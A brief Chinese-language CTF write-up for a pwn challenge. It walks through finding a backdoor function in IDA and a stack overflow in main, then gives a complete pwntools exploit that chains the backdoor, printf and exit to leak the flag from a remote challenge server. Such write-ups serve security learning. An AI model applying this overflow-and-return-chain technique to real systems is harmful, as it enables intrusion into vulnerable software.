题目截图
例行检查
用IDA打开查找字符串
交叉引用找到后门函数,该函数将flag写入到了fl4g中
找到fl4g的地址
查看main函数,存在溢出
查看汇编,没有ebp的出栈,不需要额外的填充
找到printf函数,利用它将flag输出
因为printf函数需要参数%s,我们在字符串中搜索,找到一个便于识别的
为了保证程序正常退出,还需要exit函数
完整的exp
from pwn import*
p=remote('node4.buuoj.cn',28555)
get_secrt=0x80489a0
fl4g=0x80eca2d
printf=0x804f0a0
exit=0x804e660
str_s=0x80ce4c6
payload=b'a'*0x2d+p32(get_secrt)+p32(printf)+p32(exit)+p32(str_s)+p32(fl4g)
p.sendline(payload)
print(p.recv())
结果